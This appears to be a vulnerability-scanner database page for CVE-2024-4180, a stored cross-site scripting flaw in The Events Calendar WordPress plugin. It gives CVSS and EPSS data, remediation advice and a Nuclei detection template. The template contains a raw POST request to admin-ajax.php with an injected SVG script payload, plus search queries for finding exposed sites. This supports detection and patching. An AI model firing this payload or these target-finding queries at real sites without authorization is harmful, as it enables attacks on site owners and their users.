SecurityContext

CVE-2024-4180: The Events Calendar < 6.4.0.1 - Cross-site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 9.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • Epss score: 0.02079
  • Epss percentile: 0.81996
  • Cpe: cpe:2.3:a:stellarwp:the_events_calendar:*:*:*:*:*:wordpress:*:*

Metadata

  • Fofa-query: body="wp-content/plugins/the-events-calendar/"
  • Framework: wordpress
  • Max-request: 1
  • Product: the_events_calendar
  • Publicwww-query: /wp-content/plugins/the-events-calendar/
  • Vendor: stellarwp
  • Verified: yes

Products

ProductIndexedUrl
stellarwp:the_events_calendaryes/v1/products/stellarwp/the_events_calendar

Labels

  • Name: The Events Calendar - Stored XSS
  • Impact: Attackers can execute arbitrary scripts in the context of the affected site, leading to potential session hijacking or defacement.
  • Remediation: Update to version 6.4.0.1 or later.
  • Vulnerability type: stored_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs user interaction to trigger the AJAX view rendering.
  • Labels source: projectdiscovery
  • From cve: CVE-2024-4180

```yaml

id: CVE-2024-4180

info:

name: The Events Calendar < 6.4.0.1 - Cross-site Scripting

author: 0x_Akoko

severity: medium

description: |

The Events Calendar WordPress plugin < 6.4.0.1 contains a stored XSS caused by improper sanitization of user-submitted content when rendering views via AJAX, letting attackers execute scripts in the context of the affected site. Exploitation requires user interaction.

impact: |

Attackers can execute arbitrary scripts in the context of the affected site, leading to potential session hijacking or defacement.

remediation: |

Update to version 6.4.0.1 or later.

reference:

- https://wpscan.com/vulnerability/b2a92316-e404-4a5e-8426-f88df6e87550/

- https://wordpress.org/plugins/the-events-calendar/

- https://nvd.nist.gov/vuln/detail/CVE-2024-4180

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

cvss-score: 9.1

cve-id: CVE-2024-4180

cwe-id: CWE-79

epss-score: 0.02079

epss-percentile: 0.81996

cpe: cpe:2.3:a:stellarwp:the_events_calendar:*:*:*:*:*:wordpress:*:*

metadata:

verified: true

max-request: 1

vendor: stellarwp

product: the_events_calendar

framework: wordpress

fofa-query: body="wp-content/plugins/the-events-calendar/"

publicwww-query: "/wp-content/plugins/the-events-calendar/"

tags: cve,cve2024,wordpress,wp-plugin,wp,wpscan,the-events-calendar,xss,vuln,vkev

http:

- raw:

- |

POST /wp-admin/admin-ajax.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

action=tribe_events_views_v2_fallback&view=reflector&view_data[lala]='<svg alert(document.domain)>'

matchers:

- type: dsl

dsl:

- contains_all(body, '<svg alert(document.domain)>', 'event_display_mode')

- contains(content_type, 'text/html')

- status_code == 200

condition: and

digest: 490a00463044022012f5323994ad5ba845420cd60faf6b3e852c5de42dfbe17ce4add4b2e4eb4ef1022079119e0f0356d79712f1a12e5853406dad8171ad4144ac2a2a5ed71775898dec:922c64590222798bb761d5b6d8e72950

```